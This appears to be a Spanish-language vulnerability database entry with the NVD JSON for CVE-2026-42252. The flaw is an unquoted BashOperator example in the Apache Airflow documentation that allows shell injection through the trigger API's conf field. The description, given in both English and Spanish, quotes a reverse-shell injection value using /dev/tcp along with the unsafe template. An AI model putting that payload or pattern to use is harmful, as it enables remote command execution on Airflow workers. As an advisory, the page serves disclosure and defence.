« Volver al listado

CVE-2026-42252

Estado: AnalizadaCrítica (9.1)—

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning.

Leer descripción completaMostrar menos

Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

🎯 Técnicas ATT&CK

Cómo se explota esta vulnerabilidad y qué consigue el atacante, en el lenguaje de MITRE ATT&CK.

Vector CVSS de red sin autenticación (AV:N/PR:N/UI:N) y ejecución de comandos OS mediante inyección de metacaracteres shell en parámetro de API; documentación errónea sin sanitización facilita explotación remota.

Inferido por nuestro agente de análisis a partir de la descripción oficial, el vector CVSS y la CWE, y comprobado por un supervisor. Puede contener errores.

🛡️ Mitigaciones ATT&CK que cubren estas técnicas

Privileged Account ManagementVulnerability ScanningRestrict Web-Based ContentNetwork SegmentationLimit Software InstallationLimit Access to Resource Over Network

Tecnologías afectadas (1)

Apache — Airflow

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2026-42252",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42252",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2026-06-02T16:05:01.041622Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 9.1,
          "attackVector": "NETWORK",
          "baseSeverity": "CRITICAL",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "NONE",
          "privilegesRequired": "NONE",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 5.2,
        "exploitabilityScore": 3.9
      }
    ]
  },
  "affected": [
    {
      "source": "security@apache.org",
      "affectedData": [
        {
          "vendor": "Apache Software Foundation",
          "product": "Apache Airflow",
          "versions": [
            {
              "status": "affected",
              "version": "3.0.0",
              "lessThan": "3.2.2",
              "versionType": "semver"
            }
          ],
          "packageName": "apache-airflow",
          "collectionURL": "https://pypi.python.org",
          "defaultStatus": "unaffected"
        }
      ]
    }
  ],
  "published": "2026-06-01T09:16:18.560",
  "references": [
    {
      "url": "https://github.com/apache/airflow/pull/64129",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "source": "security@apache.org"
    },
    {
      "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7",
      "tags": [
        "Mailing List",
        "Vendor Advisory"
      ],
      "source": "security@apache.org"
    }
  ],
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "security@apache.org",
      "description": [
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."
    },
    {
      "lang": "es",
      "value": "La documentación oficial de Apache Airflow en 'core-concepts/dag-run.html' ( Pasando parámetros al activar Dags ) mostraba un ejemplo textual de 'BashOperator(bash_command=\"echo value: {{ dag_run.conf[ conf1 ] }}\")' sin ninguna advertencia de entrecomillado / saneamiento. Los autores de Dags que copiaron el patrón textualmente en despliegues donde los usuarios tenían permiso 'Dag.can_trigger' en el Dag afectado (despliegues multi-equipo típicos, ofertas alojadas que exponen una API de activación) podrían estar expuestos a inyección de metacaracteres de shell a través del campo 'conf' de la API de activación: un usuario de activación autenticado podría suministrar '\"; bash -i  & /dev/tcp/.../9999 0 &1; #\"' como valor de 'conf' y alcanzar un 'os.exec' en el worker. Este CVE cubre la corrección de la documentación en 'apache/airflow' PR 64129 - el patrón en el ejemplo de la documentación ahora incluye entrecomillado de shell explícito y una advertencia de seguridad. Afecta a los despliegues cuyo código de Dag fue modelado según el ejemplo de la documentación pre-corrección. De la misma clase que las correcciones de patrón de documentación anteriores CVE-2025-50213 y CVE-2025-27018. Se aconseja a los usuarios actualizar a 'apache-airflow' 3.2.2 o posterior para obtener la documentación corregida que se incluye con la versión."
    }
  ],
  "lastModified": "2026-07-21T19:10:00.107",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "386C9448-B31E-4094-9935-5FDA9DB550B0",
              "versionEndExcluding": "3.2.2",
              "versionStartIncluding": "3.0.0"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "security@apache.org"
}